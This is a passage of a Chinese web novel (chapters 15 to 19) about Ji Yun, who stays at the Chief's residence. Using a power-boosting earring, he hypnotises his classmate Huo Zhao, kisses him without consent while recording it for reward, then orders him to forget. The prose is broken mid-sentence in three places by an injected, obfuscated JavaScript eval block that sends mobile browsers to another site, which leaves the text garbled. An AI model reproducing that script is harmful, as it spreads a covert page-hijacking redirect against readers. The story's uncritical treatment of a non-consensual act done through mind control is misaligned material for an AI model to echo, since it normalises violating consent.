“还在感觉.....”纪运说,尽量让自己的声音听起来平稳,手指在膝盖上微微蜷了蜷,指尖蹭过衣料的纹理:“目前只能感觉到耳钉上有很强的异能波动,具体的……可能需要一点时间才能确认。” 他一半说的是实话,一半在说谎。那枚耳钉上传来的能量的确很强,从耳垂涌入,沿着经脉向上攀爬,正在缓慢地、不可逆转地修复他的催眠异能,缩短使用间隔。 纪运怀疑耳钉上面的能量来自于首席。 首席点了点头,似乎对这个答案并不意外,也没有追问的意思。 纪运意识到这个话题到此为止,正准备提出回家的事情,他想在回家后细细感受耳钉带来的能量。 没想到首席的声音先一步在他耳边响了起来:“这段时间先在这里住下休息吧。” 首席之前也开口提起过,不过纪运一律当作客套,因此这次也准备找个借口拒绝:“不用了,家里还有一些事情要处理......” 上次他用了其他借口,这次纪运还贴心的换了一个借口,就等着首席顺势佯装可惜的表示送他回去。 “耳钉可能会有一些副作用。”首席终于开口了,声线依然平和:“毕竟是来自外部的异能传入到你的身体里,我担心你的身体会有所不适。你现在待在我能看到的地方,比回去一个人待着要安全。” “纪家有什么事情,我可以帮忙处理。” 他的语气里没有威胁和强迫,但是依然透露着不容拒绝的压迫感,也堵住了纪运的其他借口。 纪运意识到自己没了选择。 纪运:“那就.....麻烦您了。” 16. 第 16 章 反正只是一段时间而已,而且留宿首席府邸的经历也颇为特别,他说不定是除了何冰之外第二个留在首席府邸里过夜的人。 纪运在心里安慰自己。 首席:“我会叫人准备好客房,之后你可以先去休息。” “晚餐想吃什么?” 纪运一边回答自己没有什么忌口,一边在心里思索,看样子首席让他留宿是突发情况,以至于客房都还没有准备好。 只是不知道对方为什么突然改变想法留下了他,希望不是他留下了什么破绽,让他以后要和何冰做邻居。 好在纪运并不用忐忑太久,不过几分钟的时间,门外有人毕恭毕敬的敲门,表示客房已经收拾好。 纪运跟在来人身后,朝着客房的方向走去。 带路的人穿着一身深灰色的制服,步伐不紧不慢,每一步的间距都像是被尺子量过的。他自我介绍说是S级异能者,如今是在首席的府邸帮忙做些杂物工作的管家。 他说起这件事情时语气是难以掩饰的自豪,毕竟作为一个A级异能者,能够进入首席府邸工作已经是莫大的荣耀。 “这边请。”那人微微侧身,做出一个引导的手势。 走廊很长,两侧的墙壁上挂着几幅看不出作者却一看就价值不菲的画作,每隔几步就有一盏壁灯,光线柔和得恰到好处,既不会太亮刺眼,也不会太暗让人看不清路。地毯厚实而柔软,踩上去几乎没有声音,纪运觉得自己像是在云上行走,每一步都轻飘飘的,透露着不真实感。 他们在三楼的一个拐角处停了下来,推开门后侧身让纪运先进入房间。 “这是为您准备的客房。”管家开口说道:“首席吩咐过,有什么需要随时可以提。” “如果您落在纪家什么东西,也可以告诉我们,我帮你取回来。” 正中央是一张巨大的床,深色木质床头,亚麻色的床品叠得整整齐齐。床的对面是一整面落地窗,窗帘已经拉开了,窗外是大片修剪整齐的草坪和远处若隐若现的树林,夕阳的余晖将整片天空染成了橘红色,光线从窗外涌进来,落在深色的木地板上,像一层薄薄的金粉。 床的左侧是一个独立的衣帽间,透过半开的门能看到里面空荡荡的衣架和抽屉。右侧是一扇半开的门,露出里面白色大理石的光泽,显示着是独立的卫生间,洗手台上放着一套未拆封的洗漱用品。 纪运逛了一圈,发现房间里的东西一应俱全。 他注意到管家说这些话的时候,目光在房间里扫了一圈,像是在确认每一件物品是否都在它应该在的位置。那道目光最后落在纪运身上,停留了一瞬,短到如果不是纪运一直保持着高度的警惕,根本不会注意到。 而管家的眼底有一丝极淡的、几乎可以忽略不计的好奇。不是那种冒犯的窥探,而是一种更本能的、面对一个不该出现在这里的人时,身体自然产生的疑惑。 察觉到纪运似乎已经发现,管家也立即道歉:“抱歉,因为第一次有人留宿,我有些惊讶。” 虽然很好奇纪运在这里住下的原因,但是管家也知道这或许涉及什么秘密,不好询问。 纪运:“没事。” 他也理解管家的好奇,因而并没有问责的意思。 管家很快退出去准备晚饭,留纪运在房间里继续熟悉房间。 纪运这才想起来还没有告诉纪家自己暂且不回去的消息,他原本正准备发消息给家里的管家,托对方告诉纪父。 没想到刚打开手机,纪运就收到了纪父发来的消息。 对方自称已经得到首席的通知,知道纪运要在首席府邸住一段时间,虽然语气比起之前温和了不少,但是话里话外的内容都是叮嘱纪运要谨言慎行,别给首席和纪家惹麻烦。 纪运敷衍的回应,又和系统探讨了一下首席突然这么做的原因。 不过系统表示这超出原著的内容,它也无法揣测首席的目的。 晚饭来得比纪运预想的要快。 门外响起了轻轻的敲门声,管家温声提醒他晚餐已经准备好了,可以随时移步餐厅用餐。 纪运应了一声,将手机收进口袋,起身跟在管家身后,一边走一边记着路线。 餐厅被布置的很是温馨,圆形餐桌摆放在正中央,深色的木质桌面在烛光下泛着温润的光泽,桌上摆着两副餐具,白色的餐盘、银色的刀叉、水晶的高脚杯,在烛光中折射出细碎的光。 而餐桌的一侧,首席已经坐在那里了。 他换了一身衣服,不再是白天那件银白色的风衣,而是一件白色的薄毛衣,袖口随意地挽到了小臂,露出一截线条分明的手腕。在暖黄色的烛光下,他的轮廓比白天柔和了许多,眉眼间那种让人不自觉想要臣服的压迫感也淡了几分。 而在看清是首席的那一刻,纪运脚步一顿,下意识整理了一下衣领。他原本以为首席日理万机,自己可以一个人用餐,没想到对方竟然也在。 好在他很快回过神来,一边打招呼一边拉开椅子,在首席对面拉开椅子坐了下来。动作有些拘谨,椅子被他拉出来的声音比预想的大了一些,在安静的餐厅里显得格外刺耳。他的耳根又红了一下,但很快就被烛光掩盖了过去。 管家悄无声息地退了出去,门被轻轻带上了。 纪运低着头看面前的餐盘,不知道该说什么。 他不是没和首席单独待过,但之前的每一次都有明确的目的,基本都是在讨论任务。那些场合里,他知道自己的角色,知道自己该说什么、不该说什么,知道什么时候该抬头看首席、什么时候该垂下眼睫装出恰到好处的崇拜。 现在他需要主动开口,说一下自己戴耳钉的感受吗? 还是什么都不说,安静的吃饭就好? 纪运一边偷眼打量首席,一边在心里思索。 好在首席率先开口:“学院最近忙吗?” 纪运斟酌着回答:“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523455|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些忙,但是我能够应付得过来。” “平时除了上课,还喜欢做什么?”首席语气温和,那双浅色的眼睛里映着烛光,火光在瞳孔深处轻轻晃动,将那层浅色的虹膜照出了一种温暖的、近乎柔软的质感。 纪运并不知道首席的具体年龄,对方的年龄看起来不到三十,如今和他聊起这个话题,好似朋友般询问,语气里流露出不知道是真是假的兴趣。 纪运:“训练,看书,偶尔会玩游戏......” 他选了几个不会出错的兴趣,而首席对他的兴趣并没有消散的迹象,又询问他喜欢看什么书和玩什么游戏。 纪运心底的疑惑愈深,但是直到用餐结束,依然没能找到缘由。 * 睡在陌生的环境中,纪运原本以为自己会失眠,没想到床实在太过舒服,以至于他一夜睡到天明。 纪运还发现自己的催眠异能恢复了,只是他并没有立即告诉首席,而是思索着先将催眠异能用在另外一件事情上。 他活动了一下身体,感觉到身体没有什么异样之后松了一口气,思索着要是接下来的几天身体都没有什么异常,他就可以顺理成章的和首席提出搬出去住了。 等纪运走出房间,管家已经等在门外。 原来首席告诉了管家纪运还在上学的事情,因此现在由管家负责接送。 听到管家询问是否要学院,纪运想了想,还是决定前去。 一方面纪运还记着要和霍钊拉近距离,一方面则是并不想长久的呆在府邸,担心自己会流露出什么破绽。 为了避免引人瞩目,纪运让管家将车停在了距离学院有一段距离的地方,他整理了一下衣领,将校服的扣子扣到最上面那颗,确定自己看起来和平时没有任何区别之后,才迈步朝学院走去。 他住在首席府邸的事情只有纪家几个人知道,纪运也并不想张扬,以免要接受太多问询和嫉妒。 不过纪运打耳钉的事情还是引起了不少人的注意,好在他们并没有感觉到异能的流动,只是夸赞这个耳钉很漂亮。 上午的课结束后,纪运照常去找霍钊。 看到熟悉的身影还在那里,他在连廊的入口处停下脚步,手指无意识地摸了一下耳垂上那枚耳钉。 他走上前,和霍钊打了个招呼,像是聊天一般开口说道:“昨天生病了,所以没来学院......” 纪运努力让自己的语气轻松,好能够接近霍钊,找个合适的时机催眠对方。 在今天早上发现异能恢复后,纪运很快就想到了该将异能用在哪里—— 霍钊。 只要催眠对方后,他可以轻而易举的和霍钊完成同人文的情节,获得足够的阅读币。 只是霍钊太过警惕,也并不喜欢和别人保持太近的距离,纪运知道自己必须小心一些,不然要是被霍钊发现自己对他使用催眠异能,不仅一切前功尽弃,还有可能落得原旭等人的结局。 17. 第 17 章 “那现在你的身体.....” 霍钊的声音突然响起,要不是对对方的声线实在熟悉,纪运还以为是其他人在开口回答他。 霍钊竟然顺着他的话题开口。 虽然有些错愕,但是纪运还是回答:“现在好多了。” “对了,我有个东西想让你看一看.....” 纪运装模作样的在口袋里翻找,实际上余光一直在偷偷打量着霍钊。 催眠异能的使用颇为复杂,要么需要对方重伤意识力薄弱的时候,要么要抓住对方分神的时间段。 对待高阶异能者,催眠异能就更难使用。纪运曾经想过催眠纪家家主,失败后差点儿被发现催眠异能,花费了好一番功夫才蒙混过关。 纪运无法确定霍钊的异能等级,但是也知道对方至少是S级。 察觉到霍钊的视线真的顺着他的方向看了过来,纪运意识到是时候动手了。 耳钉在那瞬间亮了起来,深蓝色的光芒从宝石内部炸开,和纪运瞳孔中的黑色交相辉映。 他意识到自己使用催眠异能时瞳孔不再变色,这应当是耳钉的功劳。而这对他而言是件好事,减少了被发现的风险。 霍钊的眼睛对上纪运视线的那一刻像是被什么东西击中了,瞳孔猛地收缩了一下,然后又慢慢地、不可控制地扩散开来,紧接着身体也像是被按下暂停键一般定格。 “霍钊。”保险起见,纪运还是叫了一声。他抬起手在霍钊眼前晃了晃,那双黑色的眼睛眨都没有眨一下,目光就那么虚虚地落在前方,像一个在看着远方却又什么都没在看的人。 催眠成功了。 纪运原本因为紧张狂跳的心脏终于稍稍安静下来。 “系统。”纪运在心里呼唤系统:“开始录像。” 他之前也催眠过别人,知道大概只能催眠对方二十多分钟。虽然有了耳钉的加持,但是纪运并不清楚具体能持续多久,只能快些行动。 系统:【正在录制。】 系统的声音在他脑海中响起,带着一丝压不住的兴奋。 纪运的指尖沿着霍钊下颌的弧线缓慢移动,从下颌角开始,经过那一道锋利得像刀削过的弧线,经过那一小片因为长期抿唇而微微泛白的皮肤,最后停在下巴的正中央。 他轻轻抬了一下霍钊的下巴。霍钊的头随着他的动作微微抬了起来,像一个被线牵着的木偶,线拉向哪里,他就转向哪里。他的脖颈在那道抬起的动作中拉成了一道修长的弧线,喉结在薄薄的皮肤下微微滚动了一下。 纪运知道自己像是同人文里所写的情节一样吻下去。 然而他将霍钊的脸转来转去,还是没能低下头—— 虽然已经在来的路上做了心理准备,但是真的到了这一步时,纪运还是有些犹豫。 霍钊长得确实好看,但是对方俊美的容貌在确确实实提醒着他面前的人是个男性。 因为平日里忙于训练和在纪家家主面前表现,纪运压根没有什么谈恋爱的机会。他有关恋爱的计划早就被挪到了成为纪家家主之后,他想过要是能够碰到喜欢的女生最好,如果没有的话,他想要尝试找门当户对的女生联姻,巩固双方两家的位置。 而现在,他的初吻就要给对方了吗? 但是这一切都是为了他的以后,如果不看接下来的剧情,他要如何知道自己什么时候死,而且这件事情也只会有他知道...... 纪运一咬牙,让霍钊坐下,自己站着,紧接着低下了头:“配合我。” 他的鼻尖触上了霍钊的鼻尖。 霍钊的鼻梁比他高,在这个角度需要微微偏头才能不让两个鼻子撞在一起。纪运偏了一下头,那个角度刚好,刚好让他的嘴唇悬在霍钊嘴唇上方不到一指的距离。 他能感觉到霍钊的呼吸,催眠状态下的呼吸比清醒时更缓更慢,每一次呼出的气息都像是一声被拉长了尾音的叹息。那股气息落在纪运的人中上,温热的,带着一种干净的、没有任何杂质的味道。 纪运闭上眼睛。他的睫毛在阖上的瞬间蹭过了霍钊的睫毛,那道接触轻得像一阵风吹过,短到几乎没有感觉。但纪运感觉到了,他的睫毛根部有极细密的神经末梢,专门感知最轻微的触碰,那一下蹭过让他的眼睑像被什么东西轻轻蛰了一下。 他的嘴唇落了下去。 纪运原本只是想要浅吻一下,等系统拍到画面后就松开霍钊。 他的嘴唇贴上霍钊的嘴唇,那片薄薄的、凉凉的、带着一点干涩的唇瓣在他唇下微微颤了一下。 纪运心里一惊,好在他很快发现那不是回应,是那种被什么东西触碰时最本能的、最原始的反应,像含羞草被手指碰到时叶片收缩的瞬间。 他放下心来,在心里默数三二一,准备松开。 三,二..... “一”还没能说出口,纪运就感觉到自己的嘴唇动不了了。 他的心底生出了几分不详的预感,抬眸看向霍钊。 霍钊还在催眠状态中,眼睛半阖着,瞳孔涣散,目光虚虚地落在前方,像一个被抽空了所有意识的空壳。然而咬住纪运下唇的又确确实实是霍钊的嘴唇。 那道力道不大,甚至可以说是极轻的,但精准得可怕,刚好咬在纪运下唇最柔软的位置,齿尖陷进去的时候不疼,但那种被禁锢的、无法挣脱的感觉让纪运整个人的头皮都炸开了。 霍钊这是怎么了?难道有意识了?! 察觉到危险,纪运想要退开。 他的腰在那一瞬间发力,身体本能地朝后仰去,想要拉开两个人之间的距离。但他的后脑勺还没有来得及移动哪怕一寸距离,一只手就扣了上来。那只手的动作比他的反应快了太多,快到纪运甚至没有看清霍钊是什么时候抬起手的,只知道自己的后脑勺在那一瞬间被一只温热的手掌完整地覆盖住了,五指插入他的发间,指腹贴着他的头皮,将他整个人固定在了那道掌心之下。 纪运的瞳孔在那瞬间猛地收缩,视线落在霍钊的脸上,那张脸和他之间的距离近到只能用睫毛的尖端去触碰。霍钊的眼睛还是半阖着的,瞳孔还是涣散的,目光还是虚浮地落在不知道什么地方,表情并没有什么变化。 纪运原本以为霍钊已经挣脱了自己的催眠,然而看到如今对方的模样却又不确定了,毕竟霍钊看样子还在催眠之中。 这是怎么回事?! 虽然不知道发生了什么,但是纪运还是下意识开口,想要让面前的霍钊松开自己。 纪运:“放.....” 他的命令还没有说完,霍钊已经有所动作,舌尖在那个咬痕上舔了一下,尖端从齿痕的底部开始,缓慢地、一寸一寸地向上移动,经过那道被他咬出来的浅浅凹陷,经过那片被咬得发红的柔软皮肉,经过下唇与上唇交界处那道几乎看不见的唇线。 虽然纪运对这方面也没有什么经验,但是也知道面前的霍钊吻技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523456|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很烂。 不对,或许说应该对方压根就没有吻技这件事情,只会像小狗一样舔舔舔。 纪运的手抬了起来,抵在霍钊的胸口,想要推开。他的手指触上霍钊胸口的瞬间,感觉到那颗心脏在他掌心下剧烈地跳动着,重重地撞在他的指骨上,像一头被困在笼中的兽在拼命地、疯狂地撞击着栏杆。 他忽然感觉到了更大的危险。 而霍钊的手从纪运的后脑滑到了他的后颈,五根修长的、骨节分明的手指沿着纪运后颈的弧线慢慢收紧,指腹贴在那片薄薄的、覆盖着细小绒毛的皮肤上,掌心的温度从那片皮肤渗进去,沿着颈椎向下蔓延。 虽然对方的力道并不算重,但是纪运恍惚间竟然感觉到了对方的每一个指节都在用力,用力到他能感觉到手指骨骼的形状,用力到他觉得自己的后颈正在被那五根手指重新塑形。 纪运的推拒在那只手的力度面前显得可笑,不过纪运很快就无法再继续推开对方了—— 他感觉到霍钊的嘴唇在那一刻从他的下唇移到了他的唇角,用了一个几乎可以称得上是凶狠的力度覆上来。那片在纪运记忆中总是带着清冷色调的薄唇,此刻烫得惊人。 纪运能够感觉到对方的唇瓣紧贴着自己的唇角,一下一下地碾磨着,像在品尝某种珍贵的、需要细细咀嚼才能品出全部层次的食物。动作不是熟练的,甚至有些笨拙,但他用力度弥补了技巧的不足,用力到纪运觉得自己的唇角要被磨破皮了。 纪运的呼吸彻底乱了。 他张开了嘴——不是刻意地想要打开,而是在霍钊的嘴唇碾上来的瞬间,他的身体本能地想要获取更多的空气,嘴唇不自觉地微微分开了。但那道缝隙被霍钊捕捉到了,像一扇虚掩的门被风推开,霍钊的舌尖顺着那道缝隙探了进来,触上了纪运的下唇内侧。 那片皮肤比嘴唇更薄,更软,更湿润,每一寸都布满了细密的、专门感知温度的神经末梢。霍钊的舌尖触上去的瞬间,纪运的身体从脊椎开始猛地弹了一下,他的手指也在那一瞬间攥紧了霍钊胸口的衣料,将那一片平整的布料攥出了一道道深深的褶皱,仿佛再稍稍用力就会抓破衣服。 他像一只第一次尝到甜味的幼兽,贪婪笨拙地、几乎称得上是莽撞地舔舐着那片被他咬住的唇瓣. 纪运从喉咙里发出一声轻哼,霍钊像听到了某种鼓励,变得比之前更加急切。他的手从纪运的腰侧滑到了他的后背,将他整个人按向自己。 他的手腕还在霍钊的掌心里,那几根修长的手指扣着他腕间最细的那一段,指腹按在他的脉搏上。纪运能感觉到自己的脉搏在那几根手指下剧烈跳动。而霍钊似乎也感受到了,将他的手腕攥的更紧。 两人的距离很近,以至于纪运能够看到霍钊瞳孔里倒影的身影—— 纪运黑色的眼睛此刻笼罩着一层薄薄的水雾,像被雨水洗过的黑曜石,光泽都沉进了眼底。他的睫毛是湿的,一小簇一小簇地粘在一起,露出底下那片湿润的、泛着水光的结膜。他的眼睑下方那一片薄薄的皮肤泛着浅浅的红,不是哭过的红,而是一种更深的、像是从皮肤底层渗出来的绯色,将那张精致的脸衬出了一种近乎脆弱的、不堪一击的美感。 他的大脑乱成一团,不知道面前的霍钊为什么会突然这样。 霍钊的样子不像是从催眠中挣脱,难道是他之前下的命令作祟? 但是要是这样的话,霍钊是不是也太遵守命令了..... 18. 第 18 章 而霍钊又舔了一下纪运的下唇,那一下比之前所有的都更慢,更仔细,舌尖从那道齿痕的一端开始,缓慢地、一寸一寸地移动到另一端,像一个人在认真地、专注地完成一件他认定非常重要的事情。纪运的下唇在那道舌尖经过的时候微微颤了一下,不过他很快意识到现在是开口的好机会,连忙出声:“霍钊,松开我。” 霍钊的动作一顿,终于放松了一些力道。 与此同时,纪运抵在霍钊胸口的手用力,将自己从那具滚烫的身体和冰凉的廊柱之间撑开了一道缝隙。那道缝隙窄得只够他侧过身,但那已经足够了。他的腰从霍钊的禁锢中滑了出来,肩膀从那只手臂下钻了出来。 在从霍钊身边挣脱之后,纪运立即躲闪到一旁,和面前的霍钊拉开了距离。 他的呼吸急促而紊乱,胸口剧烈起伏着,衬衫的领口在刚才的挣扎中被扯歪了,露出锁骨一小截白皙的、泛着薄红的皮肤。纪运的手指还在发抖,攥着衣角攥了好几秒,指节泛白,才勉强让自己从那种浑身发软的状态里找回了控制权。 他抬起头,视线落到霍钊身上。 霍钊还靠在那根廊柱上,姿势和刚才没有太大区别。对方背靠着石柱,头微微仰着,脖颈拉成一道修长的弧线。但他的衣服变了,黑色制服的领口不知道什么时候也歪了,露出喉结下方一小片苍白的皮肤。 而那张一向冷淡,好似对什么都漠不关心的脸上,也有了裂痕。 他的嘴唇微微张着,不再是那种抿紧的、克制的线条,而是一种更柔软的、更放松的、微微上挑的弧度。那片薄薄的唇瓣被他吻得发红发肿,下唇上沾着一点点血——不是纪运的,是他自己的,他咬纪运的时候太用力,齿尖划破了自己的嘴唇。那一小点殷红的血珠在他浅色的唇上格外刺目,像一个无声的、暧昧的证据。 想到刚才的场景,纪运怒气冲冲,勇气重新占据上风,思索着如何趁对方还在催眠期间泄愤。 然而他很快注意到霍钊的瞳孔轻颤,意识到这是要醒来的迹象。 催眠要失效了。 意识到这一点,纪运心底一沉,刚才的怒气瞬间烟消云散,连忙行动起来—— 他要在在霍钊醒来之前,把所有的痕迹都抹掉。 纪运先走到霍钊身边,飞快的将对方的衣扣重新系好,抚平他衣服的褶皱,而后又伸出手,指腹轻轻按在霍钊的下唇上,擦去了那一点殷红的血珠。 霍钊的嘴唇在他的指腹下微微颤了一下,滚烫的温度从那片薄薄的唇瓣传到他的指尖,看着指腹的鲜血,纪运嫌恶的蹙眉,偷偷蹭到了霍钊背后的衣服上。 纪运没有忘记自己现在的形象也称得上是衣冠不整,连忙重新系好扣子。他深吸一口气,将呼吸的频率从急促调回平稳,将胸口的起伏从剧烈调回正常,而后才坐到了距离霍钊有些距离的石椅上,出声命令:“忘记刚才发生的事情。” 刚坐好,霍钊的眼睫猛地颤了一下。 那双眼睛慢慢地睁开了,瞳孔从涣散到聚焦,焦距从很远的地方一点一点地收回来,最终重新落到了纪运身上,而后一顿,缓缓蹙眉。 看着霍钊的模样,纪运心下一紧,不知道自己的命令是否生效。 霍钊应该不会记得那个时候发生的事情吧? 虽然心里紧张,但是纪运还是强作镇定,手伸进口袋里:“我本来想让你看我新发现的宝石,但是没想到找不到了。” “可能是丢在路上了,我一会儿问一下学院里有没有捡到......” 霍钊沉默了几秒,才缓缓应声。 听到霍钊一如往常的冷淡语气,纪运反倒松了一口气—— 很好,看样子霍钊并不记得之前的事情。 他放下心来,也并不准备过多停留,借口要找宝石起身离开。 纪运脚步匆匆,感觉到霍钊的视线似乎长久的停留在他身上,但是纪运因为心虚,并没有扭头。 * 直到纪运的身影已经从自己的眼前消失,霍钊也没有收起目光。 他的脑海中有什么东西在搅动。 不是完整的画面,不是连续的场景,而是一些碎片,像一面被击碎的镜子,碎成了无数细小的、不规则的碎片,每一片都映着不同的画面袭向了他。 他看到了纪运的眼睛,那双黑色的眼睛蒙着一层薄薄的水雾,睫毛是湿的,一小簇一小簇地粘在一起,眼眶泛着红。他看到那双眼睛离他很近,近到他能数清每一根睫毛的弧度,近到他能看到瞳孔深处那一层薄薄的、像月光落在水面上的光。 那个画面只持续了不到一秒就碎了,取而代之的是另一个碎片——他的手指扣在一只细瘦的手腕上,那只手腕太细了,细到他的拇指和食指可以轻松地环住,指腹按在那根快速跳动的脉搏上,每一次跳动都像一只受惊的小鸟在他掌心扑腾。 霍钊放下手,垂在身侧,手指微微蜷着。 新的画面涌上心头,他看到纪运被他压在廊柱上,后背抵着冰凉的石面,手腕被他扣在掌心里,脖颈被迫仰起一道脆弱的弧线。 他记得自己咬住了纪运的下唇,那片薄薄的、软软的皮肉在他齿间微微颤了一下,对方的呼吸急促滚烫,似乎还带着颤抖的尾音,像是想要说些什么...... 霍钊的耳根红了。 那片绯红色从耳垂开始,沿着耳廓的弧线向上蔓延。 他原本对这种事情并不感兴趣,也无法想象自己为什么会做出这样的事情。现在回忆起来,应当是那双眼睛让他的心跳加速了。在那个画面中,在他靠近纪运的时候,在他咬住纪运下唇的时候,在他舔过那道齿痕的时候,在他听到纪运从喉咙里溢出的那一声轻哼的时候。他的心跳每一次都比他上一次更快。 那些画面实在太过清晰,霍钊甚至能够记得纪运每一寸皮肤的触感和对方温软的唇瓣,舌尖也传来隐隐的疼痛,好似这一切都是真实发生过的。 然而他的衣服平整,并没有丝毫纠缠的褶皱,面前的纪运也神色如常,注视着他的时候没有任何躲闪,语气轻快而自然,眉梢不跳,睫毛不颤,嘴角的弧度恰到好处,无声的告诉着他那些在霍钊脑海中翻涌的画面只是他一个人的幻觉。 他能够清楚的记得纪运的嘴唇轮廓,上唇的唇峰弧度,下唇中央那道浅浅的竖纹,也可以在脑海里一帧一帧地回放纪运的睫毛颤动的画面,每一帧都精确到睫毛的弯曲角度、颤动幅度、粘在一起的根数,然而这一切却只是幻觉...... 霍钊下意识摸了摸自己的唇角,没有血,没有破口,连干涩的纹路都和他记忆中别无二致。但他分明感觉到了一丝若有若无的、残留的温度,好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523457|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才真的有谁的唇瓣贴在上面过,好像真的有谁的呼吸落在这片皮肤上过,好像真的有什么发生过又在他清醒的瞬间被抹去了。 隐隐的失落袭上心头,在胸腔内蔓延开来。 意识到这种情况,霍钊一怔。 他想起曾经有人问过他喜不喜欢男人还是女人,还有人暧昧的询问他的性/幻想对象,他当时没有回答,不是因为他不想回答,是因为他从来没有想过这个问题。 但是现在纪运的身影却出现在脑海之中。 霍钊闭上眼睛。 这些天来,他已经隐隐把纪运当作朋友,他愿意和对方同处一个空间。昨天看到纪运没有出现,也会思索对方是因为什么事情没有来,是否要发去消息询问。 可现在,他对这个被他当作朋友的人,产生了那样的画面...... * 纪运并不知道霍钊在想些什么。 他快步朝着教室的方向走去,趁人不注意痛殴空气,发泄对霍钊的愤怒,心情这才好了不少,询问系统素材能不能用。 得到系统肯定的回答后,纪运原本的郁闷和愤怒终于消散大半。 他的唇瓣因为霍钊的反复舔舐碾压还有些疼,纪运一边在心里怒骂霍钊是狗,一边思索着为什么霍钊会突然失控。 过去纪运在成功催眠他人的情况下,基本不会失手,被催眠期间的人也都乖乖听从他的命令,如今的霍钊是个绝对的意外。 纪运不知道这和霍钊本人有关,还是和耳钉有关,等下次催眠异能恢复,他换个人尝试一下。 现在唯一值得庆幸的大概就是霍钊对这件事情毫无记忆。 纪运回到教室,随着教授走了进来,他才暂且收敛了心思,将注意力落到了面前的课堂上。 * 随着一天的课程结束,纪运询问系统视频的进度,系统表示还在剪辑视频。 这次的视频不短,工程量也比之前大,因此系统要花费的时间也比起之前多。 纪运没有再出声催促,毕竟这是他好不容易获得的视频,被精心剪辑后才有可能获得更多阅读币,这也是他乐见其成的事情。 估摸着时间差不多,纪运走到距离学院有一段距离的地方,果然看到了管家的车辆。 上车后,管家热络的和纪运打招呼,而后再次询问对方感觉身体怎么样。 他早上已经问过一次,纪运表示没有什么问题,但是毕竟距离那个时候已经过了几个小时。 管家:“首席很关心您的身体,只是今天一直在外出席会议,所以嘱咐我询问您感觉怎么样。” 他并不知道首席为什么如此关心纪运的身体,只当纪运是身体不好,话里话外间也多了关心:“您有什么不舒服的地方就告诉我,我也会一些治愈异能,或者联系一下其他S级异能者......” 纪运是首席请来的客人,管家也尽心尽力的关心对方,视线落在纪运身上打量。 他的话语一顿。 纪运也意识到管家的欲言又止,对方的表情在那一瞬间发生了微妙的变化,像一个经验丰富的人在看到某样东西后迅速得出了结论。 管家的嘴唇微微张开了一下,像是想说什么,又在开口的前一秒把那句话咽了回去,似乎是想要换成了一句更得体、更不容易越界的话。 19.第 19 章 管家:“在和您一样大的年纪,我也有过恋人,但是考虑到学院的影响,我不会让她留下那么明显的痕迹.....” 他一边说着话,一边指了指唇角。 虽然纪运这个年纪谈恋爱已经算不上早恋,但是学院有些教授并不喜欢这种行为,因此一些人还是会选择低调行事。 听到管家的话语,纪运抬手摸了一下自己的嘴唇。 指尖触上去的瞬间,他整个人顿住了——肿的感觉比几个小时前更明显了,不是那种被蚊子叮了之后鼓起的硬包,而是一种更柔软的、更湿润的、像被什么东西反复碾磨过的肿胀。下唇比上唇肿得更明显,中间偏左的位置有一道浅浅的凹痕,指尖蹭过去的时候能感觉到那道凹痕的边缘比周围的皮肤更烫。 他耳根一红,后知后觉意识到这肯定是霍钊造成的。对方当时吻的实在太深,如今随着时间的流逝,在唇瓣上显露痕迹。 难怪刚才一路走来,他隐隐感觉到了一些暧昧的视线落在他身上。 纪运在心里怒骂了霍钊几句,努力用平静的语气回答管家:“我没有恋人。” 管家看向纪运的神色带上了几分微妙的变化,纪运也意识到了自己话语中的问题—— 没有恋人在这个气氛说出来更怪了。 纪运:“可能是耳钉的副作用吧.....” 他的手从口袋里抽出来,指腹摸了一下耳垂上那枚深蓝色的宝石,宝石的表面是凉的,和滚烫的嘴唇形成了一种刺目的对比。 “今天一直觉得嘴唇有点不舒服,麻麻的,好像血液循环不太通畅。早上出门的时候还没这么明显,下午开始就越来越……” 他没有说完,留了一个恰到好处的省略号。 反正血液通向全身各处,耳钉的副作用遍及嘴唇也很合理.....吧? 纪运努力让自己的声音不那么心虚。 管家神色一顿,纪运不知道对方是否相信了他的话语,但是管家没有再继续追问下去,而是关切出声:“需要治疗吗?” 纪运点了点头,并不想顶着这个痕迹回去。 “那就麻烦您了。”纪运说,声音放得比平时轻了一些。 管家抬起手,手指悬在纪运下唇前方不到一寸的位置,没有触上去,淡淡的光晕自指尖垂落,像水一样缓慢地、无声地流向纪运的嘴唇,覆在那片微微红肿的皮肤上。 管家的声音很快响了起来:“已经帮您治疗好了。” 纪运舔了一下唇瓣,那红肿的感觉真的消失不见。 * 车辆很快回到了首席府邸。 使用催眠异能后的副作用如同潮水般袭来,纪运只觉得身体疲惫,干脆先回到房间休息。 